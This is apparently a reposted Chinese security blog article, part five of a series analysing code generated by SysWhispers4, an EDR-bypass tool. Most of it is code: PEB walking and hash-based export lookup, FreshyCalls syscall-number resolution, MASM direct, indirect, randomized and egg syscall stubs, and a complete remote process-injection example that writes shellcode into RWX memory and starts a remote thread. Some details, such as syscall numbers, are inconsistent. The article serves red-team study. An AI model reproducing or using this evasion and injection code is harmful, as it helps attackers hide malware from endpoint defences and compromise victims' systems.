edr绕过工具SysWhispers4源码分析系列(五)

admin 2026-03-18 23:06:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文剖析SysWhispers4生成代码结构,详解头文件、C源文件及汇编存根依赖关系与编译流程。核心分析了运行时SSN解析机制,展示通过PEB遍历ntdll基址并利用FreshyCalls按地址排序导出函数推导系统调用号的方法。文章结合代码示例阐释内存布局与初始化逻辑,为理解直接系统调用绕过EDR技术提供了详尽参考。 综合评分: 90 文章分类: 红队,免杀,逆向分析,安全工具


cover_image

edr绕过工具 SysWhispers4 源码分析系列(五)

原创

haidragon haidragon

安全狗的自我修养

2026年3月13日 12:09 湖南

官网:http://securitytech.cc

#

五、SysWhispers4 生成代码结构深度分析

本文档深入剖析 SysWhispers4 生成的所有代码文件,包括头文件、C 源文件、汇编存根的完整结构,以及从用户调用到内核执行的完整流程。通过实际生成的代码示例,展示每个文件的作用和相互关系。

1. 生成文件整体结构

1.1 典型生成场景

以以下命令为例:

1. python syswhispers.py --preset common\
2. --method embedded --resolve freshycalls \
3. --prefix SW4 --out-file SW4Syscalls

生成的文件列表:

1. output/
2. ├── SW4Syscalls_Types.h    (~15 KB)# 类型定义头文件
3. ├── SW4Syscalls.h          (~8 KB)# 函数声明头文件
4. ├── SW4Syscalls.c          (~50 KB)# 运行时实现源码
5. └── SW4Syscalls.asm(~5 KB)# MASM 汇编存根

总计:~78 KB 代码

1.2 文件依赖关系图

1. 用户代码(main.cpp)
2. ↓#include"SW4Syscalls.h"

4. SW4Syscalls.h
5. ↓#include"SW4Syscalls_Types.h"
6. ↓声明所有 syscall 函数原型
7. ↓声明 SW4_Initialize()等初始化函数

9. SW4Syscalls_Types.h
10. ↓#include<windows.h>
11. ↓#include<winternl.h>
12. ↓定义&nbsp;NT&nbsp;类型、枚举、结构体

14. SW4Syscalls.c
15. ↓#include"SW4Syscalls.h"
16. ↓实现&nbsp;SSN&nbsp;解析逻辑
17. ↓实现&nbsp;SW4_Initialize()
18. ↓实现各种辅助功能(ETW/AMSI/Unhook等)

20. SW4Syscalls.asm(MSVC)
21. ↓包含所有&nbsp;syscall&nbsp;存根
22. ↓直接执行&nbsp;syscall&nbsp;指令

24. 或&nbsp;SW4Syscalls_stubs.c&nbsp;(MinGW/Clang)
25. ↓内联汇编实现&nbsp;syscall

1.3 编译链接流程

MSVC 工具链

1. REM&nbsp;编译&nbsp;C&nbsp;文件
2. cl&nbsp;/c&nbsp;/EHsc&nbsp;SW4Syscalls.c&nbsp;/FoSW4Syscalls.obj

4. REM&nbsp;汇编&nbsp;ASM&nbsp;文件
5. ml64&nbsp;/c SW4Syscalls.asm/FoSW4Syscalls_asm.obj

7. REM&nbsp;编译用户代码
8. cl&nbsp;/c&nbsp;/EHsc&nbsp;main.cpp&nbsp;/Fomain.obj

10. REM&nbsp;链接所有目标文件
11. link main.obj SW4Syscalls.obj SW4Syscalls_asm.obj&nbsp;/OUT:program.exe

MinGW 工具链

1. # 编译所有文件
2. g++-c&nbsp;-masm=intel SW4Syscalls.c&nbsp;-o SW4Syscalls.o
3. g++-c&nbsp;-masm=intel SW4Syscalls_stubs.c&nbsp;-o SW4Syscalls_stubs.o
4. g++-c main.cpp&nbsp;-o main.o

6. # 链接
7. g++&nbsp;main.o SW4Syscalls.o SW4Syscalls_stubs.o&nbsp;-o program.exe

1.4 运行时内存布局

1. 进程内存空间
2. ├─.text&nbsp;段(代码段)
3. │├─用户代码
4. │├─&nbsp;SW4Syscalls.c&nbsp;编译后的代码
5. │└─&nbsp;SW4Syscalls.asm编译后的&nbsp;syscall&nbsp;存根
6. │
7. ├─.data&nbsp;段(数据段)
8. │├─&nbsp;SW4_SsnTable[]# SSN 表
9. │├─&nbsp;SW4_FuncHashes[]# 函数哈希表
10. │└─其他全局变量
11. │
12. └─.rdata&nbsp;段(只读数据)
13. ├─字符串常量
14. └─常量表

2. syscalls.h 头文件深度分析

2.1 完整文件结构

生成的 SW4Syscalls.h 示例:

1. /*
2. * SW4Syscalls.h -- generated by SysWhispers4
3. * DO NOT EDIT -- regenerate with syswhispers.py
4. *
5. * Resolution : freshycalls
6. * Method &nbsp; &nbsp; : embedded
7. * Arch &nbsp; &nbsp; &nbsp; : x64
8. * Compiler &nbsp; : msvc
9. */
10. #pragma&nbsp;once
11. #ifndef&nbsp;SW4_SYSCALLS_H
12. #define&nbsp;SW4_SYSCALLS_H

14. #include"SW4Syscalls_Types.h"

16. #ifdef&nbsp;__cplusplus
17. extern"C"{
18. #endif

20. /* =========================================================================
21. * &nbsp;运行时初始化
22. * &nbsp;FreshyCalls -- sorts ntdll Nt* exports by VA
23. * ========================================================================= */
24. EXTERN_C BOOL SW4_Initialize(VOID);

26. /* =========================================================================
27. * &nbsp;syscall 函数原型
28. * ========================================================================= */

30. // 内存操作类 syscall
31. EXTERN_C NTSTATUS NTAPI SW4_NtAllocateVirtualMemory(
32. HANDLE&nbsp;ProcessHandle,
33. PVOID*BaseAddress,
34. ULONG_PTR&nbsp;ZeroBits,
35. PSIZE_T&nbsp;RegionSize,
36. ULONG&nbsp;AllocationType,
37. ULONG&nbsp;Protect
38. );

40. EXTERN_C NTSTATUS NTAPI SW4_NtFreeVirtualMemory(
41. HANDLE&nbsp;ProcessHandle,
42. PVOID*BaseAddress,
43. PSIZE_T&nbsp;RegionSize,
44. ULONG&nbsp;FreeType
45. );

47. // ... 共 25 个函数

49. #ifdef&nbsp;__cplusplus
50. }
51. #endif

53. #endif/* SW4_SYSCALLS_H */

2.2 头文件组成分析

1. 文件头注释

1. /*
2. * SW4Syscalls.h -- generated by SysWhispers4
3. * DO NOT EDIT -- regenerate with syswhispers.py
4. *
5. * Resolution : freshycalls &nbsp; &nbsp;← SSN 解析方法
6. * Method &nbsp; &nbsp; : embedded &nbsp; &nbsp; &nbsp; ← 调用方式
7. * Arch &nbsp; &nbsp; &nbsp; : x64 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 目标架构
8. * Compiler &nbsp; : msvc &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ← 编译器
9. */

作用

  • 标识自动生成,禁止手动编辑
  • 记录生成配置,便于追溯

2. 保护宏

1. #pragma&nbsp;once
2. #ifndef&nbsp;SW4_SYSCALLS_H
3. #define&nbsp;SW4_SYSCALLS_H

5. // ... 文件内容 ...

7. #endif/* SW4_SYSCALLS_H */

作用

  • 防止重复包含
  • #pragmaonce 是编译器指令(更快)
  • #ifndef 是预处理器标准方式(更兼容)

3. 依赖包含

1. #include"SW4Syscalls_Types.h"

作用

  • 引入类型定义
  • 确保本文件中使用的类型都已定义

4. C++ 兼容性

1. #ifdef&nbsp;__cplusplus
2. extern"C"{
3. #endif

作用

  • C++ 编译器使用 C 链接约定
  • 避免名称修饰(name mangling)
  • 允许 C++ 代码调用这些函数

5. 函数原型分组

生成的代码按功能分组:

1. // ==== 内存操作类 syscall ====
2. EXTERN_C NTSTATUS NTAPI SW4_NtAllocateVirtualMemory(...);
3. EXTERN_C NTSTATUS NTAPI SW4_NtFreeVirtualMemory(...);
4. // ...

6. // ==== 进程/线程操作类 syscall ====
7. EXTERN_C NTSTATUS NTAPI SW4_NtCreateThreadEx(...);
8. EXTERN_C NTSTATUS NTAPI SW4_NtOpenProcess(...);
9. // ...

11. // ==== 同步/通信类 syscall ====
12. EXTERN_C NTSTATUS NTAPI SW4_NtWaitForSingleObject(...);
13. // ...

分组优点

  • 代码组织清晰
  • 易于查找特定功能的函数
  • 便于理解和维护

3. syscalls.c 封装函数深度分析

3.1 完整文件结构

生成的 SW4Syscalls.c 框架:

1. /*
2. * SW4Syscalls.c -- generated by SysWhispers4
3. */
4. #include"SW4Syscalls.h"
5. #include<stddef.h>
6. #include<string.h>
7. /* =========================================================================
8. * &nbsp;常量定义
9. * ========================================================================= */
10. #define&nbsp;SW4_FUNC_COUNT &nbsp; &nbsp;25U// 函数数量
11. #define&nbsp;SW4_MAX_EXPORTS &nbsp;&nbsp;1024U// 最大导出数
12. // DJB2 哈希表(编译时计算)
13. staticconst&nbsp;DWORD SW4_FuncHashes[SW4_FUNC_COUNT]={
14. 0x8A3B2C1D,/* NtAllocateVirtualMemory */
15. 0x5E7F8A2B,/* NtFreeVirtualMemory */
16. // ... 更多哈希值
17. };
18. /* =========================================================================
19. * &nbsp;全局运行时表
20. * ========================================================================= */
21. DWORD &nbsp;SW4_SsnTable[SW4_FUNC_COUNT];// SSN 表(运行时填充)
22. /* =========================================================================
23. * &nbsp;工具函数
24. * ========================================================================= */
25. // DJB2 字符串哈希
26. static&nbsp;DWORD SW4_HashStr(constchar*&nbsp;s){
27. DWORD h&nbsp;=0x1505U;
28. while(*s){
29. h&nbsp;=((h&nbsp;<<5)+&nbsp;h)^(unsignedchar)*s++;
30. }
31. return&nbsp;h;
32. }
33. // 通过 PEB 获取 ntdll 基址
34. static&nbsp;PVOID SW4_GetNtdllBase(VOID){
35. #if&nbsp;defined(_M_X64)
36. PPEB pPeb&nbsp;=(PPEB)__readgsqword(0x60);// GS:0x60 -> PEB
37. #elif&nbsp;defined(_M_IX86)
38. PPEB pPeb&nbsp;=(PPEB)__readfsdword(0x30);// FS:0x30 -> PEB
39. #endif
40. PPEB_LDR_DATA pLdr&nbsp;=&nbsp;pPeb->Ldr;
41. PLIST_ENTRY pHead&nbsp;=&pLdr->InMemoryOrderModuleList;
42. PLIST_ENTRY pEntry&nbsp;=&nbsp;pHead->Flink;// exe 模块
43. pEntry&nbsp;=&nbsp;pEntry->Flink;// ntdll 总是第二个
44. PLDR_DATA_TABLE_ENTRY pMod&nbsp;=
45. CONTAINING_RECORD(pEntry,&nbsp;LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);
46. return&nbsp;pMod->DllBase;
47. }
48. // 通过哈希查找导出函数
49. static&nbsp;PVOID SW4_GetProcByHash(PVOID pModule,&nbsp;DWORD dwHash){
50. PIMAGE_DOS_HEADER pDos&nbsp;=(PIMAGE_DOS_HEADER)pModule;
51. PIMAGE_NT_HEADERS pNt&nbsp;=(PIMAGE_NT_HEADERS)((PBYTE)pModule&nbsp;+&nbsp;pDos->e_lfanew);
52. PIMAGE_EXPORT_DIRECTORY pExp&nbsp;=(PIMAGE_EXPORT_DIRECTORY)(
53. (PBYTE)pModule&nbsp;+
54. pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
55. PDWORD pFnArr&nbsp;=(PDWORD)((PBYTE)pModule&nbsp;+&nbsp;pExp->AddressOfFunctions);
56. PDWORD pNmArr&nbsp;=(PDWORD)((PBYTE)pModule&nbsp;+&nbsp;pExp->AddressOfNames);
57. PWORD &nbsp;pOrArr&nbsp;=(PWORD)((PBYTE)pModule&nbsp;+&nbsp;pExp->AddressOfNameOrdinals);
58. for(DWORD i&nbsp;=0;&nbsp;i&nbsp;<&nbsp;pExp->NumberOfNames;&nbsp;i++){
59. constchar*&nbsp;pName&nbsp;=(constchar*)((PBYTE)pModule&nbsp;+&nbsp;pNmArr[i]);
60. if(SW4_HashStr(pName)==&nbsp;dwHash)
61. return(PVOID)((PBYTE)pModule&nbsp;+&nbsp;pFnArr[pOrArr[i]]);
62. }
63. return&nbsp;NULL;
64. }
65. /* =========================================================================
66. * &nbsp;FreshyCalls SSN 解析实现
67. * ========================================================================= */
68. static&nbsp;BOOL SW4_FreshyCallsResolve(PVOID pNtdll){
69. // 1. 获取导出表
70. PIMAGE_EXPORT_DIRECTORY pExp&nbsp;=...;
71. // 2. 收集所有 Nt* 函数
72. PVOID candidates[SW4_MAX_EXPORTS];
73. DWORD candidateHashes[SW4_MAX_EXPORTS];
74. DWORD count&nbsp;=0;
75. for(DWORD i&nbsp;=0;&nbsp;i&nbsp;<&nbsp;pExp->NumberOfNames&&&nbsp;count&nbsp;<&nbsp;SW4_MAX_EXPORTS;&nbsp;i++){
76. constchar*&nbsp;name&nbsp;=(constchar*)((PBYTE)pNtdll&nbsp;+&nbsp;pNmArr[i]);
77. // 只处理 Nt 前缀的函数
78. if(name[0]=='N'&&&nbsp;name[1]=='t'){
79. candidates[count]=(PVOID)((PBYTE)pNtdll&nbsp;+&nbsp;pFnArr[pOrArr[i]]);
80. candidateHashes[count]=&nbsp;SW4_HashStr(name);
81. count++;
82. }
83. }
84. // 3. 按地址排序(关键!)
85. // Windows 内核按固定顺序排列系统调用
86. // 排序后的索引 = SSN
87. SW4_SortExports(candidates,&nbsp;candidateHashes,&nbsp;count);
88. // 4. 匹配我们的函数列表并填充 SSN 表
89. memset(SW4_SsnTable,0,sizeof(SW4_SsnTable));
90. for(DWORD ssn&nbsp;=0;&nbsp;ssn&nbsp;<&nbsp;count;&nbsp;ssn++){
91. DWORD hash&nbsp;=&nbsp;candidateHashes[ssn];
92. // 在我们的函数列表中查找匹配的哈希
93. for(DWORD i&nbsp;=0;&nbsp;i&nbsp;<&nbsp;SW4_FUNC_COUNT;&nbsp;i++){
94. if(SW4_FuncHashes[i]==&nbsp;hash){
95. SW4_SsnTable[i]=&nbsp;ssn;
96. break;
97. }
98. }
99. }
100. return&nbsp;TRUE;
101. }
102. /* =========================================================================
103. * &nbsp;初始化函数
104. * ========================================================================= */
105. BOOL SW4_Initialize(VOID){
106. static&nbsp;BOOL initialized&nbsp;=&nbsp;FALSE;
107. if(initialized)
108. return&nbsp;TRUE;
109. // 1. 获取 ntdll 基址
110. PVOID pNtdll&nbsp;=&nbsp;SW4_GetNtdllBase();
111. if(!pNtdll)
112. return&nbsp;FALSE;
113. // 2. 根据配置的解析方法获取 SSN
114. #if&nbsp;RESOLUTION_METHOD == FRESHYCALLS
115. if(!SW4_FreshyCallsResolve(pNtdll))
116. return&nbsp;FALSE;
117. #elif&nbsp;RESOLUTION_METHOD&nbsp;==&nbsp;HELLS_GATE
118. // Hell's Gate 实现
119. #endif
120. initialized&nbsp;=&nbsp;TRUE;
121. return&nbsp;TRUE;
122. }

3.2 关键模块详解

模块 1:PEB 遍历获取 ntdll

1. static&nbsp;PVOID SW4_GetNtdllBase(VOID){
2. #if&nbsp;defined(_M_X64)
3. PPEB pPeb&nbsp;=(PPEB)__readgsqword(0x60);// x64: GS:0x60
4. #elif&nbsp;defined(_M_IX86)
5. PPEB pPeb&nbsp;=(PPEB)__readfsdword(0x30);// x86: FS:0x30
6. #endif

8. PPEB_LDR_DATA pLdr&nbsp;=&nbsp;pPeb->Ldr;
9. PLIST_ENTRY pHead&nbsp;=&pLdr->InMemoryOrderModuleList;
10. PLIST_ENTRY pEntry&nbsp;=&nbsp;pHead->Flink;// exe 模块
11. pEntry&nbsp;=&nbsp;pEntry->Flink;// ntdll (第 2 个)

13. PLDR_DATA_TABLE_ENTRY pMod&nbsp;=
14. CONTAINING_RECORD(pEntry,&nbsp;LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);

16. return&nbsp;pMod->DllBase;
17. }

内存布局图:

1. PEB&nbsp;(GS:0x60)
2. ↓
3. PEB_LDR_DATA
4. ↓
5. InMemoryOrderModuleList(链表头)
6. ↓
7. exe&nbsp;模块→&nbsp;ntdll&nbsp;模块→&nbsp;kernel32&nbsp;模块→...
8. ↑
9. 我们需要的

模块 2:导出表扫描

1. static&nbsp;PVOID SW4_GetProcByHash(PVOID pModule,&nbsp;DWORD dwHash){
2. PIMAGE_DOS_HEADER pDos&nbsp;=(PIMAGE_DOS_HEADER)pModule;
3. PIMAGE_NT_HEADERS pNt&nbsp;=(PIMAGE_NT_HEADERS)((PBYTE)pModule&nbsp;+&nbsp;pDos->e_lfanew);

5. PIMAGE_EXPORT_DIRECTORY pExp&nbsp;=(PIMAGE_EXPORT_DIRECTORY)(
6. (PBYTE)pModule&nbsp;+
7. pNt->OptionalHeader.DataDirectory[0].VirtualAddress);

9. PDWORD pFnArr&nbsp;=(PDWORD)((PBYTE)pModule&nbsp;+&nbsp;pExp->AddressOfFunctions);
10. PDWORD pNmArr&nbsp;=(PDWORD)((PBYTE)pModule&nbsp;+&nbsp;pExp->AddressOfNames);
11. PWORD &nbsp;pOrArr&nbsp;=(PWORD)((PBYTE)pModule&nbsp;+&nbsp;pExp->AddressOfNameOrdinals);

13. for(DWORD i&nbsp;=0;&nbsp;i&nbsp;<&nbsp;pExp->NumberOfNames;&nbsp;i++){
14. constchar*&nbsp;pName&nbsp;=(constchar*)((PBYTE)pModule&nbsp;+&nbsp;pNmArr[i]);
15. if(SW4_HashStr(pName)==&nbsp;dwHash)
16. return(PVOID)((PBYTE)pModule&nbsp;+&nbsp;pFnArr[pOrArr[i]]);
17. }
18. return&nbsp;NULL;
19. }

模块 3:FreshyCalls 核心算法

1. static&nbsp;BOOL SW4_FreshyCallsResolve(PVOID pNtdll){
2. // 1. 收集所有 Nt* 函数
3. PVOID candidates[1024];
4. DWORD hashes[1024];
5. DWORD count&nbsp;=0;

7. for(DWORD i&nbsp;=0;&nbsp;i&nbsp;<&nbsp;pExp->NumberOfNames;&nbsp;i++){
8. constchar*&nbsp;name&nbsp;=(constchar*)(pModule&nbsp;+&nbsp;pNmArr[i]);
9. if(name[0]=='N'&&&nbsp;name[1]=='t'){
10. candidates[count]=(PVOID)(pNtdll&nbsp;+&nbsp;pFnArr[pOrArr[i]]);
11. hashes[count]=&nbsp;SW4_HashStr(name);
12. count++;
13. }
14. }

16. // 2. 按地址排序(关键!)
17. SW4_SortExports(candidates,&nbsp;hashes,&nbsp;count);

19. // 3. 排序后的索引 = SSN
20. for(DWORD ssn&nbsp;=0;&nbsp;ssn&nbsp;<&nbsp;count;&nbsp;ssn++){
21. for(DWORD i&nbsp;=0;&nbsp;i&nbsp;<&nbsp;SW4_FUNC_COUNT;&nbsp;i++){
22. if(SW4_FuncHashes[i]==&nbsp;hashes[ssn]){
23. SW4_SsnTable[i]=&nbsp;ssn;
24. break;
25. }
26. }
27. }

29. return&nbsp;TRUE;
30. }

4. syscalls.asm 汇编 stub 分析

4.1 MASM 语法格式

生成的 SW4Syscalls.asm:

1. ;&nbsp;SW4Syscalls.asm--&nbsp;generated&nbsp;bySysWhispers4
2. ;&nbsp;DO NOT EDIT

4. .code

6. ;============================================================
7. ;直接&nbsp;syscall&nbsp;存根(Embedded模式)
8. ;============================================================

10. SW4_NtAllocateVirtualMemory PROC
11. mov r10,&nbsp;rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;;&nbsp;x64&nbsp;调用约定:RCX&nbsp;→&nbsp;R10
12. mov eax,18h;&nbsp;SSN&nbsp;=24(Windows10)
13. syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;进入内核
14. ret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;返回
15. SW4_NtAllocateVirtualMemory ENDP

17. SW4_NtCreateThreadEx PROC
18. mov r10,&nbsp;rcx
19. mov eax,0C9h;&nbsp;SSN&nbsp;=201
20. syscall
21. ret
22. SW4_NtCreateThreadEx ENDP

24. SW4_NtWriteVirtualMemory PROC
25. mov r10,&nbsp;rcx
26. mov eax,3Ah;&nbsp;SSN&nbsp;=58
27. syscall
28. ret
29. SW4_NtWriteVirtualMemory ENDP

31. ;...共25个函数

33. END

4.2 调用约定详解

x64 调用约定规则:

| 寄存器 | 用途 | | — | — | | RCX | 第 1 参数(必须复制到 R10) | | RDX | 第 2 参数 | | R8 | 第 3 参数 | | R9 | 第 4 参数 | | RAX | 返回值 / SSN | | RSP | 栈指针(16 字节对齐) |

参数传递示例:

1. // C 语言调用
2. NtAllocateVirtualMemory(
3. GetCurrentProcess(),// RCX
4. &base,// RDX
5. 0,// R8
6. &size,// R9
7. MEM_COMMIT,// [RSP+28h]
8. PAGE_EXECUTE_READWRITE&nbsp;// [RSP+30h]
9. );
1. ;汇编实现
2. mov r10,&nbsp;rcx &nbsp; &nbsp; &nbsp; &nbsp;;第1参数&nbsp;RCX&nbsp;→&nbsp;R10
3. mov eax,18h;&nbsp;SSN
4. syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;;进入内核
5. ;返回值在&nbsp;RAX
6. ret

4.3 不同调用方式的 stub 对比

Embedded(直接 syscall)

1. SW4_NtAllocateVirtualMemory PROC
2. mov r10,&nbsp;rcx
3. mov eax,18h
4. syscall
5. ret
6. SW4_NtAllocateVirtualMemory ENDP

特点

  • 最简单快速
  • RIP 在我们自己的代码段
  • 容易被检测(静态 syscall 指令)

Indirect(间接跳转)

1. EXTERN syscall_gadget:QWORD

3. SW4_NtAllocateVirtualMemory PROC
4. mov r10,&nbsp;rcx
5. mov eax,18h
6. jmp qword ptr&nbsp;[syscall_gadget];间接跳转
7. ;&nbsp;RIP&nbsp;在&nbsp;ntdll&nbsp;内
8. SW4_NtAllocateVirtualMemory ENDP

特点

  • RIP 显示在 ntdll.dll
  • 绕过基于 RIP 的检测
  • 需要预先查找 gadget

Randomized(随机化)

1. SW4_NtAllocateVirtualMemory PROC
2. mov r10,&nbsp;rcx
3. mov r11,&nbsp;rdx &nbsp; &nbsp; &nbsp; &nbsp;;保存&nbsp;RDX
4. rdtsc &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;;获取时间戳
5. and&nbsp;eax,3Fh;取模64
6. mov rax,[gadget_pool&nbsp;+&nbsp;rax*8]
7. call rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;调用随机&nbsp;gadget
8. mov rdx,&nbsp;r11 &nbsp; &nbsp; &nbsp; &nbsp;;恢复&nbsp;RDX
9. ret
10. SW4_NtAllocateVirtualMemory ENDP

特点

  • 每次调用不同的 gadget
  • 最强的反追踪能力
  • 性能开销稍大

Egg(egg marker)

1. SW4_NtAllocateVirtualMemory PROC
2. mov r10,&nbsp;rcx
3. ;&nbsp;egg marker&nbsp;(运行时替换为&nbsp;syscall)
4. DB&nbsp;41h,42h,43h,44h,45h,46h,47h,48h
5. ret
6. SW4_NtAllocateVirtualMemory ENDP

特点

  • 无静态 syscall 特征
  • 运行时动态替换
  • 需要调用 HatchEggs()

5. syscall stub 完整调用流程

5.1 从用户调用到内核执行

完整流程图:

1. 用户代码
2. ↓
3. #include"SW4Syscalls.h"
4. ↓
5. SW4_Initialize()
6. ├─获取&nbsp;ntdll&nbsp;基址(PEB&nbsp;遍历)
7. ├─扫描导出表(FreshyCalls)
8. ├─按地址排序
9. └─填充&nbsp;SSN&nbsp;表
10. ↓
11. SW4_NtAllocateVirtualMemory(...)
12. ↓
13. SW4Syscalls.asm中的&nbsp;stub
14. ├─&nbsp;mov r10,&nbsp;rcx &nbsp; &nbsp; &nbsp;(参数传递)
15. ├─&nbsp;mov eax,18h(设置&nbsp;SSN)
16. └─&nbsp;syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(进入内核)
17. ↓
18. CPU&nbsp;特权级转换(Ring3→Ring0)
19. ├─保存用户态上下文
20. ├─加载内核态上下文
21. └─跳转到KiSystemCall64
22. ↓
23. KiSystemCall64(内核&nbsp;syscall&nbsp;分发器)
24. ├─保存寄存器
25. ├─查&nbsp;SSDT&nbsp;表
26. └─调用NtAllocateVirtualMemory内核实现
27. ↓
28. ntoskrnl!NtAllocateVirtualMemory
29. ├─参数验证
30. ├─调用MmAllocateVirtualMemory
31. └─返回&nbsp;NTSTATUS
32. ↓
33. 用户态&nbsp;stub
34. └─&nbsp;ret&nbsp;(返回到调用者)
35. ↓
36. 用户代码继续执行

5.2 实际案例分析

案例:进程注入

1. // main.cpp
2. #include"SW4Syscalls.h"

4. int&nbsp;main(){
5. // 1. 初始化(必须)
6. if(!SW4_Initialize()){
7. printf("Initialization failed\n");
8. return1;
9. }

11. // 2. 打开目标进程
12. CLIENT_ID clientId&nbsp;={0};
13. clientId.UniqueProcess=(HANDLE)1234;

15. OBJECT_ATTRIBUTES oa&nbsp;={0};
16. InitializeObjectAttributes(&oa,&nbsp;NULL,0,&nbsp;NULL,&nbsp;NULL);

18. HANDLE hProcess;
19. NTSTATUS status&nbsp;=&nbsp;SW4_NtOpenProcess(
20. &hProcess,
21. PROCESS_ALL_ACCESS,
22. &oa,
23. &clientId
24. );

26. if(!NT_SUCCESS(status)){
27. printf("NtOpenProcess failed: 0x%08X\n",&nbsp;status);
28. return1;
29. }

31. // 3. 分配内存
32. PVOID base&nbsp;=&nbsp;NULL;
33. SIZE_T size&nbsp;=0x1000;

35. status&nbsp;=&nbsp;SW4_NtAllocateVirtualMemory(
36. hProcess,
37. &base,
38. 0,
39. &size,
40. MEM_COMMIT&nbsp;|&nbsp;MEM_RESERVE,
41. PAGE_EXECUTE_READWRITE
42. );

44. if(!NT_SUCCESS(status)){
45. printf("NtAllocateVirtualMemory failed: 0x%08X\n",&nbsp;status);
46. return1;
47. }

49. printf("Allocated at %p\n",&nbsp;base);

51. // 4. 写入 shellcode
52. BYTE shellcode[]="...";

54. status&nbsp;=&nbsp;SW4_NtWriteVirtualMemory(
55. hProcess,
56. base,
57. shellcode,
58. sizeof(shellcode),
59. NULL
60. );

62. // 5. 创建远程线程
63. HANDLE hThread;
64. status&nbsp;=&nbsp;SW4_NtCreateThreadEx(
65. &hThread,
66. THREAD_ALL_ACCESS,
67. NULL,
68. hProcess,
69. base,
70. NULL,
71. FALSE,
72. 0,
73. 0,
74. 0,
75. NULL
76. );

78. printf("Thread created: 0x%08X\n",&nbsp;status);

80. return0;
81. }

底层执行流程:

1. main()调用&nbsp;SW4_Initialize()
2. ↓
3. SW4_Initialize()执行FreshyCalls解析
4. ├─&nbsp;__readgsqword(0x60)→&nbsp;PEB
5. ├─遍历InMemoryOrderModuleList→&nbsp;ntdll
6. ├─扫描&nbsp;ntdll&nbsp;导出表
7. ├─收集Nt*函数
8. ├─按地址排序
9. └─填充&nbsp;SW4_SsnTable[25]
10. ↓
11. main()调用&nbsp;SW4_NtOpenProcess()
12. ↓
13. 汇编&nbsp;stub:
14. mov r10,&nbsp;rcx
15. mov eax,3Ah;&nbsp;SSN&nbsp;forNtOpenProcess
16. syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;进入内核
17. ↓
18. 内核执行NtOpenProcess
19. ↓
20. 返回到&nbsp;main()
21. ↓
22. main()调用&nbsp;SW4_NtAllocateVirtualMemory()
23. ↓
24. 汇编&nbsp;stub:
25. mov r10,&nbsp;rcx
26. mov eax,18h;&nbsp;SSN&nbsp;forNtAllocateVirtualMemory
27. syscall
28. ↓
29. 内核执行NtAllocateVirtualMemory
30. ↓
31. ...后续调用同理

5.3 调试分析技巧

WinDbg 调试 syscall

1. 0:000>&nbsp;bp SW4_NtAllocateVirtualMemory
2. 0:000>&nbsp;g
3. Breakpoint0&nbsp;hit

5. 0:000>&nbsp;r
6. rax=0000000000000000&nbsp;rbx=0000000000000000
7. rcx=00000000000004bc&nbsp;rdx=001234567890abcd
8. r8=0000000000000000&nbsp; r9=001234567890dcba

10. 0:000>&nbsp;u&nbsp;@rip&nbsp;L10
11. SW4Syscalls!SW4_NtAllocateVirtualMemory:
12. 00007ff7`12345678 4c8bd9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; r10,rcx
13. 00007ff7`1234567b&nbsp;b818000000 &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax,18h
14. 00007ff7`12345680 0f05 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;syscall
15. 00007ff7`12345682&nbsp;c3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ret

17. 0:000>&nbsp;t
18. 0:000>&nbsp;t
19. 0:000>&nbsp;r eax
20. eax=00000018;&nbsp;SSN&nbsp;=24

22. 0:000>&nbsp;t &nbsp;;执行&nbsp;syscall
23. 0:000>&nbsp;r rip
24. rip=fffff800`12345678 &nbsp;; 现在在内核中
25. nt!KiSystemCall64

27. 0:000> k &nbsp;; 查看调用栈
28. # Child-SP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RetAddr
29. 00 ffff8a00`12345678&nbsp; fffff800`12345678 nt!KiSystemCall64
30. 01 ffff8a00`1234568000007ff7`12345682 nt!NtAllocateVirtualMemory
31. 02 000000e1`2345678000007ff7`12345678 SW4Syscalls!SW4_NtAllocateVirtualMemory+0xa

总结

通过对 SysWhispers4 生成代码的深度分析,我们理解了:

文件结构

  • Types.h:NT 类型定义
  • .h:函数原型声明
  • .c:运行时实现(SSN 解析 + 辅助功能)
  • .asm:汇编 syscall 存根

关键技术点

  • PEB 遍历获取 ntdll 基址
  • 导出表扫描和函数查找
  • FreshyCalls 按地址排序算法
  • x64 调用约定和参数传递
  • syscall 指令执行流程

调用流程

用户代码 → SW4_Initialize() → syscall stub → CPU 特权级转换 → 内核分发器 → NT 实现 → 返回

这套完整的代码生成机制,使得开发者可以完全控制底层系统调用,绕过现代 EDR 的用户态监控。

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《edr绕过工具 SysWhispers4 源码分析系列(五)》

行了行了 网络安全文章

行了行了

